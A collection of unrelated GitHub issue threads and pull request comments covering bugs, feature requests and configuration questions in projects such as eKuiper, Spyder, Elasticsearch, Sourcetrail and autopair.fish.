MQTT reconnect have some  problem

Environment: ubuntu 14

eKuiper version (e.g. 1.4.0):
Hardware configuration (e.g. lscpu):
OS (e.g. cat /etc/os-release):
Others:

What happened and what you expected to happen:
log:
time="2022-08-02 04:15:53" level=warning msg="The connection to mqtt broker <IP_ADDRESS>:1883 client id sifangshan-ekuiper disconnected with error: EOF " file="mqtt/mqtt.go:104"
time="2022-08-02 04:15:53" level=info msg="The connection to mqtt broker <IP_ADDRESS>:1883 client id sifangshan-ekuiper established" file="mqtt/mqtt_wrapper.go:80"
time="2022-08-03 02:35:39" level=info msg="sink node mqtt_0 instance 0 done" file="node/sink_node.go:203" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="unary operator 2_project instance 0 cancelling...." file="node/operations.go:139" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="unary operator 2_project instance 0 done, cancelling future items" file="node/operations.go:97" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="source sifangshan done" file="node/source_node.go:112" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="closing rule sifangshan-rule" file="server/ruleManager.go:119"
time="2022-08-03 02:35:39" level=info msg="Exit subscription to edgex messagebus topic Neuron/Telemetry/e3d4653c-d294-11ec-bf63-68eda40d6082." file="source/mqtt_source.go:115" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="Mqtt Source instance 0 Done" file="source/mqtt_source.go:160" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="unsubscription topic Neuron/Telemetry/e3d4653c-d294-11ec-bf63-68eda40d6082 for reqId sifangshan-rule_sifangshan_0, total subs 0" file="mqtt/mqtt_wrapper.go:207" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="Closing mqtt sink" file="sink/mqtt_sink.go:116" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="delete subscription for topic Neuron/Telemetry/e3d4653c-d294-11ec-bf63-68eda40d6082" file="mqtt/mqtt_wrapper.go:212" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=error msg="not found subscription id sifangshan-rule_mqtt_0_0" file="mqtt/mqtt_wrapper.go:198" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="mqtt client wrapper reference count 0" file="mqtt/mqtt_wrapper.go:246" rule=sifangshan-rule
time="2022-08-03 02:35:39" level=info msg="remove mqtt client wrapper for connection selector mqtt.mmq" file="mqtt/mqtt_wrapper.go:248"
time="2022-08-03 02:35:39" level=info msg="Closing the connection to mqtt broker for <IP_ADDRESS>:1883" file="mqtt/mqtt.go:150"
time="2022-08-03 02:35:39" level=info msg="Rule sifangshan-rule is replaced." file="processor/rule.go:95"
time="2022-08-03 02:35:41" level=info msg="Init rule with options &{IsEventTime:false LateTol:1000 Concurrency:1 BufferLength:1024 SendMetaToSink:false SendError:true Qos:0 CheckpointInterval:300000}" file="planner/planner.go:39"
time="2022-08-03 02:35:41" level=info msg="Rule sifangshan-rule is replaced." file="processor/rule.go:95"
time="2022-08-03 02:35:41" level=info msg="Opening stream" file="topo/topo.go:150" rule=sifangshan-rule
time="2022-08-03 02:35:41" level=info msg="open source node sifangshan with option &{Neuron/Telemetry/e3d4653c-d294-11ec-bf63-68eda40d6082  json mmq-config mqtt true   0 false}" file="node/source_node.go:66" rule=sifangshan-rule
time="2022-08-03 02:35:41" level=info msg="open source node with props map[connectionSelector:mqtt.mmq format:json qos:1 servers:[tcp://<IP_ADDRESS>:1883]], concurrency: 1, bufferLength: 102400" file="node/source_node.go:91" rule=sifangshan-rule
time="2022-08-03 02:35:41" level=info msg="open sink node 1 instances" file="node/sink_node.go:152" rule=sifangshan-rule
time="2022-08-03 02:35:41" level=info msg="Start source sifangshan instance 0 successfully" file="node/source_node.go:125" rule=sifangshan-rule
After disconnecting，You need to restart the rule to continue pushing
How to reproduce it (as minimally and precisely as possible):
Anything else we need to know?:

@daodol
please upgrade the ekuiper to 1.6.0 and check if this issue still exists.

@daodol
please upgrade the ekuiper to 1.6.0 and check if this issue still exists.

Close this as it is inactive for almost three months. Thanks.


Chain.copy() method needed

We need to implement a copy method for the Chain Class (needed for dealing with banked chains).

This was resolved by #148.


Resources missing in the example

Upon loading the package in a new project I noticed the following missing items:

There was a missing script in the Player prefab under the Camera which I couldn't find out what it was from. I had installed InputSystem and Cinemachine packages.

The "ProjectSettings" folder should be included in the package as "TagManager.asset" contains the Layers for the collision checking. Should make the example work faster than having to re-assign all the layers from scratch. Also Physics Settings are included in this folder. Honestly exporting everything as a  .unitypackage as well might work best as it will also acquire any dependencies.

All objects have a missing material, that could be rectified by having a base white material included.

Hi,
Thanks for feedback,
Missing script in the camera is probably "Universal Additional Camera Data"
and it is an auto generated script for Universal RP. You can simply delete
it, it generates automatically when needed.
I will check the  "TagManager.asset"  feature, it could help a lot.
I think I didn't add the "2D Sprite" package as dependency so missing
sprites might be because of it. Try install the "2D Sprite" package
On Sat, Sep 16, 2023 at 7:31 PM LxeC @.***> wrote:

Upon loading the package in a new project I noticed the following missing
items:

There was a missing script in the Player prefab under the Camera which
I couldn't find out what it was from. I had installed InputSystem and
Cinemachine packages.
2.
The "ProjectSettings" folder should be included in the package as
"TagManager.asset" contains the Layers for the collision checking. Should
make the example work faster than having to re-assign all the layers from
scratch.
3.
All objects have a missing material, that could be rectified by having
a base white material included.
—
Reply to this email directly, view it on GitHub
https://github.com/AbdyTekin/Unity-2D-Character-Controller/issues/1, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AXVBXXRUMCFEO2Q5YRVWWBLX2XH5JANCNFSM6AAAAAA427UOKQ
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>


Support metrics server in rbd/cephfs provisioners.

/area ceph/rbd
/area ceph/cephfs
/assign @rootfs

needs rebase but lgtm

@wongma7 Done.


How to change picture dimensions?

I'd like to use a picture in wide format instead of the circle/square shape.
I've identified the code that generates the image but I don't know how to specify @photodim as a twodimensional rectangular shape.
\newcommand*{\makecvheader}[1][C]{%
  \newcommand*{\drawphoto}{%
    \ifthenelse{\isundefined{\@photo}}{}{%
      \newlength{\photodim}
      \ifthenelse{\equal{\@photoshape}{circle}}%
        {\setlength{\photodim}{1.3cm}}%
        {\setlength{\photodim}{1.8cm}}%
      \ifthenelse{\equal{\@photoedge}{edge}}%
        {\def\@photoborder{darkgray}}%
        {\def\@photoborder{none}}%
      \begin{tikzpicture}%
        \node[\@photoshape, draw=\@photoborder, line width=0.3mm, inner sep=\photodim, fill overzoom image=\@photo] () {};
% , fill overzoom image=\@photo
      \end{tikzpicture}
    }%

Basically what I want, would be this \setlength{\photodim}{{1.8cm}{2.7cm}}
This does not work as \setlength only works in one dimension.
Does anyone know how to do this?
Thanks in advance.

I found a workaround for this. In addition to 'inner sep', \node also accepts 'inner xsep' and 'inner ysep'. For some reason I couldn't find the documentation for this anywhere.
So i did this:
\node[\@photoshape, draw=\@photoborder, line width=0.3mm, inner xsep=1.8cm, inner ysep=2.7cm, fill overzoom image=\@photo] () {};
A better fix would probably be to separate photodim into multiple parameters, i.e. xdim, ydim and photodim. This would map the functionality into the \photo function.

Why don't you directly change here:
        {\setlength{\photodim}{1.3cm}}%         {\setlength{\photodim}{1.8cm}}%
I couldn't see the difference of defining the width and height separately in 2 lines or together, can you illustrate if there is a difference?

Why don't you directly change here:
 {\setlength{\photodim}{1.3cm}}% {\setlength{\photodim}{1.8cm}}%
I couldn't see the difference of defining the width and height separately in 2 lines or together, can you illustrate if there is a difference?

I'm assuming this is the code you're referring to
\ifthenelse{\equal{\@photoshape}{circle}}%         {\setlength{\photodim}{1.3cm}}%         {\setlength{\photodim}{1.8cm}}%
The two bottom lines do not set the width and height of the picture. They are part of of the ifthenelse clause in the first line which depends on the photoshape.
I've looked into this again and split up the dimensions into 2 lengths as suggested in my previous post.
\newcommand*{\makecvheader}[1][C]{%   \newcommand*{\drawphoto}{%     \ifthenelse{\isundefined{\@photo}}{}{%       \newlength{\photoydim}%       \newlength{\photoxdim}%       \ifthenelse{\equal{\@photoshape}{circle}}%         {\setlength{\photoydim}{1.3cm}\setlength{\photoxdim}{\photoydim}}% circle         {\setlength{\photoydim}{1.8cm}\setlength{\photoxdim}{2.7cm}}% rectangle       \ifthenelse{\equal{\@photoedge}{edge}}%         {\def\@photoborder{darkgray}}%         {\def\@photoborder{none}}%       \begin{tikzpicture}%         \node[\@photoshape, draw=\@photoborder, line width=0.3mm, inner ysep=\photoydim, inner xsep=\photoxdim, fill overzoom image=\@photo] () {};       \end{tikzpicture}     }%
I think this is good enough for what I was trying to do. Obviously it would be useful to just read the correct dimensions from the image but I don't know how to do that.


Fix typo 'domstic'

[ ] Should read 'domestic'

@kpitten issue typo exists in the spreadsheet

related, but has the spreadsheet text ever been run through a spell checker? This is probably one of several other typos which have gone/going/will go unnoticed


Code completion raise exception when the editor widget is floating

I'm using dual monitor and the editor widget is floating so I can put it in another monitor.
When the editor widget is floating, the code completion  will raise an exception
Traceback (most recent call last):
File "d:\spyder\spyderlib\utils\introspection\plugin_manager.py", line 402, in _introspection_complete
  self._handle_pending()
File "d:\spyder\spyderlib\utils\introspection\plugin_manager.py", line 356, in _handle_pending
  self._post_message('')
File "d:\spyder\spyderlib\utils\introspection\plugin_manager.py", line 480, in _post_message
    try:
AttributeError: 'SpyderDockWidget' object has no attribute 'statusBar'

@cheneave, we just committed a fix for the problem you reported, but when the Editor is undocked, the completion widget is not shown above it. That is an old bug we don't know how to fix.
So the solution to use the Editor in another screen is not to undock it, but to generate a new Editor window. This can be done by clicking the Editor options menu (the one to the right of all tabs), and selecting the option called New window.

Thank you, It works.


Question: Is there a way to change url?

I can modify host, scheme or port via ProxyOptions. Can I modify also url?
I want url http://localhost:5000/Api/Controller/Id to be proxied to http://localhost:5001/Controller/Id.
Currently I have:
app.Map(@"/Api", builder => builder.RunProxy(new ProxyOptions
{
	Scheme = "http",
	Host = "localhost",
	Port = "5001"
}));

It was added in #46

Thanks. this issue can be closed.


Unable to generate full include paths for Unreal Engine

Hi,
I was wondering if this can be used on UE4? I saw the previous issue on this was closed as fixed (https://github.com/CoatiSoftware/vs-sourcetrail/issues/7) but currently tried it and I received lots of fatal errors when indexing saying it couldn't find various headers.
Thanks

Hi @ikrima, if you are using the Visual Studio extension to export the Compilation Database of the project and Sourcetrail fails when building an index based on this exported database, the first step would be to make sure, that the Visual Studio project is valid.
So lets start there: Can you build the VS projects (the ones that you marked for generating a CDB) in Visual Studio?

Thanks for the update. I wanted to try to reproduce your issue but couldn't find the UnrealEnginePython folder anywhere in the EpicGames/UnrealEngine GitHub repo.
However, we already have some experience with exporting a Compilation Database from an NMake project:
If VS can build it correctly that only means that the NMake part of the project is configured correctly. But if you open the VS project's properties, and head to the NMake tab, you see "general options" (used for building) and "IntelliSense" options (used for IntelliSense).
Sourcetrail uses the IntelliSense options to generate the compile commands file, because one cannot just parse NMake to derive all the options. Instead one would need to run it.
So to get to the point: If Visual Studio's IntelliSense can find something it should also work in Sourcetrail. Can you please open the file that contains the #include "UnrealEnginePython.h" line in VS, rightclick that line and select the Open Document "UnrealEnginePython.h" option.
Please tell if VS is able to open that file.

Ah, that's a plugin in our specific game but I've hit the same issue from the mainline engine branch.
Intellisense does go to the right header file when using go to def/open header file on the include directive line.
Perhaps there are some other settings that are needed? I usually have intellisense and most VS features disabled bc it's painfully slow on large projects (Visual Assist for code completion/grepping). Does that help ring a bell on what would be needed to turn on? I bring it up just bc I had to enable the source browser generation for the vs-sourcetrail extension

Are you referring to this issue #41?
If you just generate a Compilation Database for that one project, does it specify and header search paths?

Hmm, I tried force regenerating the intellisense + turning on generate debug info for generated files and that seems to work for the vanilla UE4 build. However, trying to do the same with a project, still fails. Maybe for a baseline, could you try to generate with the ShooterGame project? (https://docs.unrealengine.com/en-us/Resources/SampleGames/ShooterGame)
That sample project contains enough complexity that if you could get that working end to end, I can work backwards.
Thanks again for looking into this. Sourcetrail looks super useful and a couple of us on the gamedev slack have all tried to get UE4's build system working with it

I have tried to set up the Unreal Engine and the ShooterGame, as you suggested. After generating the VS project for the ShooterGame, I tried to build it using VS2017, but ended up with a lot of errors like this one:
1>C:\sourcetrail\projects\2019_02_21_unreal_shooter\Intermediate\Build\Win64\UE4Editor\Inc\ShooterGame\ShooterPlayerController.generated.h(328): error C2007: #define-Syntax

However, generating a compilation database (using the Sourcetrail VS extension) works and when trying to index the project with Sourcetrail based on the generated compile commands, I just get lots of normal errors and no fatal ones. So at least it looks like all the #include directives have been resolved.

Thanks; i think the issue might be with local machine configuration.

@ikrima: Do you mean that it works with your project? Or that I should try with a clean VS install?

Seems to work fine with a blank clean install of UE4 on a blank install of VS (i tried it on a cleanly imaged VM with shooter game and it worked).
Still doesn't work for our project so I'd need to do more investigation when I get some free time (could be VS misconfiguration, our customizations of engine project setup/etc)


The source (moving) point cloud should be immutable

I see the s, t, and R attributes in the rigid_registration object, which is iteratively used to correct the Y point cloud… but as the registration proceeds, those values seem to converge on 1, [0 0 0], and the identity matrix (respectively),  and I can’t seem to figure out how to rebuild the “complete” translation vector or rotation matrix that could be used to transform the original Y point cloud in a single step, which I could then use to register channels in my non-point-cloud experimental images

Fixed the rigid one in 1252b0704fc5400f939f24ab480faa332e354d2c

Fixed affine and deformable in 11586d9a3b73f8a42c8122acfec5f440ada641c6.


[FEATURE] Convert Vite from create react app

Description
Current issue:
currently this project is using Create React App but as we CRA comes with a lot of pain with it and new developers are unable to even run the project due to the CRA errors occurring in this project.
Solution:
move form Create React App to Vite which has less chance of facing these issues
for reference you can check  https://www.robinwieruch.de/vite-create-react-app/ , https://cathalmacdonnacha.com/migrating-from-create-react-app-cra-to-vite or any reference vlog / video .... keep in mind the blogs or videos should be recent and using a recent vite version
to do:

remove CRA for Vite
all necessary setup and configuration for vite
check all npm packages, dependencies and functionalities after successfully switching to vite
(bonus) update the dependencies without breaking any functionality of the project

$ open to all gssoc 23 contributors

I want to work on this issue, please assign it to me.

@Arnabdaz I want to work on this issue, please assign it to me.

sure go ahead ... please make sure there comes no issues running the dev server , doing the build or in site functionalities

@Arnabdaz . The website works fine, and all functionalities do work. I am unable to resolve all the warnings .

cool you can see what is the problems in the warnings and fix ... but if you are unable to fix and everything is working fine just make the pr ... someone else can fix those later


What type of update are you requesting?
A new version of an existing package
Current Package Identifier
JetBrains.PyCharm.Professional
Package Version
2023.2
Please describe the changes you would like to see
New version is available now.
Download Page: https://www.jetbrains.com/pycharm/download/?section=windows
Related to https://github.com/microsoft/winget-pkgs/issues/113126

I personally use JetBrains Toolbox for their IDEs and Android Studio. Easier to manage.


EC2 discovery does not work in us-west-2 (ES 1.7.5 plugin 2.7.1)

Hello,
I have been using the EC2 discovery plugin successfully in eu-west-1 (Ireland) without any issues.
However, in us-west-2 (Oregon) it would only work intermittently until last week when it stopped completely.
Everything is set up the same way. There is an IAM role created with the allow describe-instances policy.
The aws cli command on the instance works and the response is fast.
aws ec2 describe-instances --region=us-west-2 --filters "Name=instance.group-name,Values=elasticsearchCluster"
IAM role and policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"ec2:DescribeInstances"
],
"Effect": "Allow",
"Resource": [
"*"
]
}
]
}
Elasticsearch.yml is the same in both regions, apart from the region:
bootstrap.mlockall: true
discovery.zen.ping.multicast.enabled: false
cluster.name: thisEsCluster
node.name: ${HOSTNAME}
cloud.aws.region: us-west-2|eu-west-1
discovery.type: ec2
discovery.groups: elasticsearchCluster
discovery.ping_timeout: 60s
cloud.node.auto_attributes: true
discovery.zen.minimum_master_nodes: 2
Log from an affected node:
[2016-08-02 09:54:02,095][INFO ][node                     ] [ip-10-20-30-40] version[1.7.5], pid[3079], build[00f95f4/2016-02-02T09:55:30Z]
[2016-08-02 09:54:02,095][INFO ][node                     ] [ip-10-20-30-40] initializing ...
[2016-08-02 09:54:02,162][INFO ][plugins                  ] [ip-10-20-30-40] loaded [cloud-aws], sites []
[2016-08-02 09:54:02,193][INFO ][env                      ] [ip-10-20-30-40] using [1] data paths, mounts [[/ (/dev/xvda1)]], net usable_space [119.2gb], net total_space [125.8gb], types [ext4]
[2016-08-02 09:54:05,185][INFO ][node                     ] [ip-10-20-30-40] initialized
[2016-08-02 09:54:05,185][INFO ][node                     ] [ip-10-20-30-40] starting ...
[2016-08-02 09:54:05,321][INFO ][transport                ] [ip-10-20-30-40] bound_address {inet[/0:0:0:0:0:0:0:0:9300]}, publish_address {inet[/<IP_ADDRESS>:9300]}
[2016-08-02 09:54:05,345][INFO ][discovery                ] [ip-10-20-30-40] thisEsCluster/K0C8nEk9QYyk2g2A5eEitQ
[2016-08-02 09:54:35,345][WARN ][discovery                ] [ip-10-20-30-40] waited for 30s and no initial state was set by the discovery
[2016-08-02 09:54:35,352][INFO ][http                     ] [ip-10-20-30-40] bound_address {inet[/0:0:0:0:0:0:0:0:9200]}, publish_address {inet[/<IP_ADDRESS>:9200]}
[2016-08-02 09:54:35,353][INFO ][node                     ] [ip-10-20-30-40] started
[2016-08-02 09:57:56,154][DEBUG][action.admin.indices.get ] [ip-10-20-30-40] no known master node, scheduling a retry
[2016-08-02 09:58:26,155][DEBUG][action.admin.indices.get ] [ip-10-20-30-40] observer: timeout notification from cluster service. timeout setting [30s], time since start [30s]
[2016-08-02 10:03:33,188][DEBUG][action.admin.indices.get ] [ip-10-20-30-40] no known master node, scheduling a retry
[2016-08-02 10:04:03,188][DEBUG][action.admin.indices.get ] [ip-10-20-30-40] observer: timeout notification from cluster service. timeout setting [30s], time since start [30s]
[2016-08-02 10:07:32,964][DEBUG][action.admin.indices.get ] [ip-10-20-30-40] no known master node, scheduling a retry
Where and what shall I look at to determine the cause? The role and policy is identical and the ES clusters are also launched by a script, everything is the same. Not sure if other regions are affected.
Thanks in advance,

You could try to put discovery and cloud packages to TRACE in logging.yml. May be it will give some clues?
If it does not add traces, try with org.elasticsearch.discovery and org.elasticsearch.cloud.

Thanks a lot for the quick response.
This can now be closed. It was human error. Typo in elasticsearch.yml.
I am sorry.
As a result discovery was runing with default values that worked in the EU region but not in Oregon.
The discovery statements were missing the "ec2" bit.
All is well with the correct settings:
bootstrap.mlockall: true
discovery.zen.ping.multicast.enabled: false
cluster.name: thisEsCluster
node.name: ${HOSTNAME}
cloud.aws.region: us-west-2
discovery.type: ec2
discovery.ec2.groups: elasticsearchCluster
discovery.ec2.any_group: false
discovery.ec2.ping_timeout: 60s
cloud.node.auto_attributes: true
discovery.zen.minimum_master_nodes: 2

I see. Thanks for the follow up.
BTW next time please use discuss.elastic.co instead.


Is the project dead?

It's such an awesome mod, too bad there's no 1.19+ support

I haven't done any further development on this project as the AOF team made a fork, it can be found here:
https://www.curseforge.com/minecraft/mc-mods/aof-emotes
Hopefully it can live on through them, glad I could help bring emotes to Fabric!


inconsistent rendering of profile image underglow

here is how https://degrowth.social/@yala's profile looks (they seem to have a profile picture of a single pixel png:

heres what mine looks like which is also a transparent png (I think it looks good)

heres @cheeaun's which has the cool underglow from the header image

and here is one that has barely no underglow https://mastodon.social/@mntmn

The avatar "glow" colors are based on (lower corners of) the header image. If extracted colors from header image are dark, they'll be dark "glows", which will look more like drop shadows, and… disappears on darker backgrounds 😆
Here's how mntmn's profile look like on light mode:

Obviously, more advanced color manipulation work is needed, for all the various header + avatar image combos + dark/light mode.


Added alias support to foreign key migration #77

Pull request to add alias support to foreign keys (#77).
Bug: If your foreign key is mapped to an aliased column then the migration fails.
Example Entity:
class Example extends \Spot\Entity
{
  protected static $table = 'example';
  public static function fields()
  {
    return [
      'id' => ['type' => 'integer', 'primary' => true, 'autoincrement' => true],
      'officeId' => ['type' => 'integer', 'required' => true, 'column' => 'office_id']
    ];
  }
  public static function relations(Mapper $mapper, Entity $entity)
  {
    return [
      'office' => $mapper->belongsTo($entity, 'Rendelo\Entity\Office', 'officeId')
    ];
  }
}

@vlucas You should look at the PR #157 first which resolves the problem with the foreign keys. Then I'll write tests for this PR.

Sounds good. Will do!

Added this feature to PR #157
No need to merge this.


Change MTLS discovery format

...to reflect current thinking in IETF

which seems to be right now
"mtls_endpoints" : {
   "token_endpoint": "...",
   "revocation_endpoint": "..."
   }
}

done


openvpn-.service: Failed with result 'timeout'.

With latest stable NixOS, I rebuilt the system configuration which includes openvpn and it just timed out. Running it again did work without a timeout without it doing anything else. Can I override this value somewhere globally for all services?

Can you provide some logs? Timeouts are hard to debug without a lot of information.
You can probably set global timeout, check systemd documentation.

Is this a dup of https://github.com/NixOS/nixpkgs/issues/7703?

@0xABAB is there some updates ?

@grahamc Could be
@jpierre03 I wrote my own module in a way that would never be accepted in nixpkgs.
I am closing this, because I won't be reproducing it in the near future.


[New game]: Flappy Bird Game

🎮 Game Request
Game logic and basic description
Flappy Bird is a simple, yet highly addictive side-scrolling game. The player controls a bird, attempting to fly between columns of green pipes without hitting them. The game ends if the bird collides with a pipe or the ground. Points are scored based on the number of pipes the bird successfully passes.
Game Elements
Bird: The main character controlled by the player.
Pipes: Obstacles that the bird must navigate through.
Ground: The surface at the bottom of the screen which, if collided with, ends the game.
Background: A simple static or slowly scrolling background to create a sense of movement.
Game Mechanics
Gravity: Constantly pulls the bird downwards.
Flap: When the player taps the screen (or presses a key), the bird flaps its wings, causing it to rise.
Collision Detection: Determines if the bird has hit a pipe or the ground.
Score: Increases when the bird successfully passes between pipes.
Game Logic
The game can be broken down into several key components and steps:
Initialization:
Set up the game window.
Load images and sounds.
Initialize variables for the bird’s position, velocity, and the positions of pipes.
Game Loop:
Update the bird’s position based on gravity and user input.
Move pipes towards the bird and check for collisions.
Update the score when the bird passes through pipes.
Redraw the game window with updated positions and check for game over conditions.
Point down the features
Game points
Scoring System
Passing Pipes:
The primary way to earn points is by successfully passing through the gap between pairs of pipes.
Each time the bird successfully navigates between a pair of pipes without colliding, the score increments by one point.
Score Display:
The current score is typically displayed at the top of the screen during gameplay.
After the game ends, the player's score is prominently displayed, often along with the best (high) score the player has achieved in previous sessions.
Point Events:
Points are awarded only when the bird completely passes a pipe (i.e., the pipe moves past the bird's x-coordinate).
This ensures that the player gets a point for navigating through the gap rather than simply approaching it.
Select program in which you are contributing
GSSoC24
Code of Conduct

[X] I follow CONTRIBUTING GUIDELINE of this project.

Hey @codewithishu !
Thank you for raising an issue 💗
You can self assign the issue by commenting /assign in comment 😀
Make sure you follow CODE OF CONDUCT and CONTRIBUTING GUIDELINES 🚀
Don’t Forget to ⭐ our GameZone🎮
Make sure you join our Discord🕹

/assign

/assign

Hey @codewithishu ! , This issue is already assigned to @codewithishu. 💗
You can work on other issues 🚀
If there is anything wrong you can contact us on Discord🕹👀


question about the usage of huggingface BertModel

As described in huggingface's document, BertModel takes at least three arguments for sentence-pair classification.

But I found codes in bert_spc.py not working that way. And it's confusing that input_ids and attention_mask should be the first two arguments, but it seems like you have passed input_ids and token_type_ids for the first two arguments.

sorry, I forgot the diffrence between pytorch_transformers and transformers


python: feature for import native skill from directory

at the same point with #337 , I hope semantic-kernel supports native function import from directory.
@jjhenkel

You want to be able to easily import skills that use chat backends from a directory (this is easy for functions that use a text completion backend, but not for ones using chat backends yet)

I think this makes code more clearer while initializing kernel and skills

@joowon-dm-snu , thanks for the item.  Looks like a PR is in, we will take a look

see https://github.com/microsoft/semantic-kernel/pull/506

#506 merged


Search and filter of ALL resources

Is there a way to browse and filter on all resources in the Hub? It seems like you have to either select a topic or content type and then browse, or use the search to get a sample. It would be great if there was a way to generate a list of all current Hub resources (e.g. type "all resources" in search) to allow folks to filter on the entire Hub.

Depending on complexity and time, this issue may get pushed back a phase... per a discussion with @juliandsmith . It may not, but I thought I'd make not here so we can plan.

Just a note that searching for "" does not (currently at least) produce a full list of everything in the Hub but leaving the search box completely empty and clicking go seems to do the trick. Right now, "" returns 341 results while leaving the search box blank generates 518 results. Leaving the search box blank it actually more intuitive than searching for * so this seems fine to me. I just wanted to note this in case it is an indication of something not working as intended.


Support more units in clock time.

Is your feature request related to a problem? Please describe.
I don't particularly appreciate it when I have to play with units in my assignments. The clock time here only supports milliseconds.
Describe the solution you'd like
Implementing a dropdown to switch between units of clock time.
Additional context

Are you working on this? (Yes/No)
Yes, waiting for the mentor's approval on this feature.

I like to work on it .


removing long description from setup.py due to rendering issues

Pull Request Test Coverage Report for Build 866

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 96.478%

Totals

Change from base Build 865:
0.0%

Covered Lines:
1397

Relevant Lines:
1448

💛  - Coveralls

Pull Request Test Coverage Report for Build 866

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 96.478%

Totals

Change from base Build 865:
0.0%

Covered Lines:
1397

Relevant Lines:
1448

💛  - Coveralls

Pull Request Test Coverage Report for Build 866

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 96.478%

Totals

Change from base Build 865:
0.0%

Covered Lines:
1397

Relevant Lines:
1448

💛  - Coveralls


support aggregate property

Expected behavior 期望表现
support aggregate property like SUM, MAX, MIN, OLD etc.

implemented in #693


New account's serial number needs to be 13 characters long

https://github.com/lautaroangelico/WebEngine/blob/d6b16d59270aaba9a411a3f968baef61f9d20c83/includes/classes/class.account.php#L58

Fixed in commit #86a6033


Update events for DRPC and VRG resources

Report events for DRPC and VRG resources as  their status changes.
This is an initial change, there may be more changes needed in VRG, VRG has a lot of different conditions  which might need to be reported.
Signed-off-by: Jolly Mishra<EMAIL_ADDRESS>

Closing this pull request  and raised another PR (https://github.com/RamenDR/ramen/pull/634) with proposed changes  for the same.


codespaces: try codespaces system config if we can't get committer identity

workaround for https://github.com/iterative/scmrepo/issues/148

Codecov Report
Base: 82.23% // Head: 80.59% // Decreases project coverage by -1.64% :warning:

Coverage data is based on head (64c13cc) compared to base (74b3a98).
Patch coverage: 8.33% of modified lines in pull request are covered.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #149      +/-   ##
==========================================
- Coverage   82.23%   80.59%   -1.65%
==========================================
  Files          25       25
  Lines        3367     3401      +34
  Branches      578      580       +2
==========================================
- Hits         2769     2741      -28
- Misses        517      568      +51
- Partials       81       92      +11

Impacted Files
Coverage Δ

src/scmrepo/git/backend/dulwich/__init__.py
78.76% <7.14%> (-2.65%)
:arrow_down:

src/scmrepo/git/backend/pygit2.py
73.59% <9.09%> (-5.79%)
:arrow_down:

src/scmrepo/utils.py
67.74% <0.00%> (-19.36%)
:arrow_down:

tests/conftest.py
86.00% <0.00%> (-7.00%)
:arrow_down:

src/scmrepo/asyn.py
96.55% <0.00%> (-3.45%)
:arrow_down:

src/scmrepo/git/backend/gitpython.py
63.07% <0.00%> (-1.35%)
:arrow_down:

src/scmrepo/git/__init__.py
83.72% <0.00%> (-0.34%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add readme for nuget packages

Problem ^ Instructions v
https://docs.microsoft.com/en-us/nuget/nuget-org/package-readme-on-nuget-org

https://github.com/opensearch-project/opensearch-net/pull/51/commits/8a8b5bbb13f5df909811a69129e0eb1097c393cf

Done in scope of #51


feat: update dsfr vue to 2.0, and migrate

:tada: This PR is included in version 1.10.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[v1.0] Helm charts are incompatible with recent Kubernetes versions

Helm charts use in particular Kubernetes API versions extensions/v1beta1 and networking.k8s.io/v1beta1.
These have been marked as deprecated in Kubernetes v1.16 in July 2019 [1] and eventually removed in v1.22 in July 2021 [2].
The EOEPCA Deployment Guide mentions two old Kubernetes versions (v1.18.10 and v1.21.5). Both still implement the beta APIs [3].
The Guide also indicates that API version networking.k8s.io/v1 must be used for creating nginx ingresses (in [4]). This API version must be used to make EOEPCA building blocks compatible with recent Kubernetes installations.
Bernard
[1] https://kubernetes.io/blog/2019/07/18/api-deprecations-in-1-16/
[2] https://kubernetes.io/blog/2021/07/14/upcoming-changes-in-kubernetes-1-22/
[3] https://deployment-guide.docs.eoepca.org/kubernetes/
[4] https://deployment-guide.docs.eoepca.org/cluster-prerequisites/

Thanks for the feedback - I'll raise this for discussion with the team.
Kubernetes is a moving target, so we need to decide how we support this. Thus far we have been fixed on v1.18 within our development - this is reflected in our current helm/yaml.

With eoepca release v1.1 all building blocks were updated for Kubernetes v1.22.x - the latest stable release at time of release preparation.


What is _autopair_tab supposed to do?

Hi, thanks for this plugin! I was going through your code and I found the _autopair_tab function, which deletes a character from the current token if it matches the regex \$[^\s]*"$ when the user presses <Tab>.
Why is this being done?

It does cause strange behaviour if your cursor is not at the end of the variable (consider: "FOO|_BAR" in which case <Tab> would cause the _ character to get deleted rather than the quote character.
Either way, I found this because I wanted to use the \t keybinding in a plugin I maintain, and it looks like that would conflict with this. Do you have any suggestions on how this could be done without overwriting your keybinding?

I can't reproduce the scenario you are describing, what should I type out exactly?

Do you have any suggestions on how this could be done without overwriting your keybinding?

You could check if _autopair_tab was defined while inside your own keybinding handler, and call it.

I forgot the $ sign. If you put your cursor where the | is:
"$FOO|_BAR"

Then pressing <Tab> deletes the _ character. Pressing it again results in it getting completed to "$FOOBAR:":

You could check if _autopair_tab was defined while inside your own keybinding handler, and call it.

That would need to be updated every time there's a plugin that binds \t, so I don't think that's a feasible solution. I asked this on Fish's issue tracker and they advised not to override such a core keybinding.

I never said it would be pretty! 😄

That would need to be updated every time there's a plugin that binds \t, so I don't think that's a feasible solution.

You can use bind --user \t to find all user-defined \t bindings before binding \t to your own function:
$ bind --user \t
bind \t _autopair_tab

Now you know what functions to call inside your function.

 Pressing it again results in it getting completed to "$FOOBAR:"...

https://github.com/jorgebucaran/autopair.fish/issues/8. I'll fix this ASAP. Thanks!

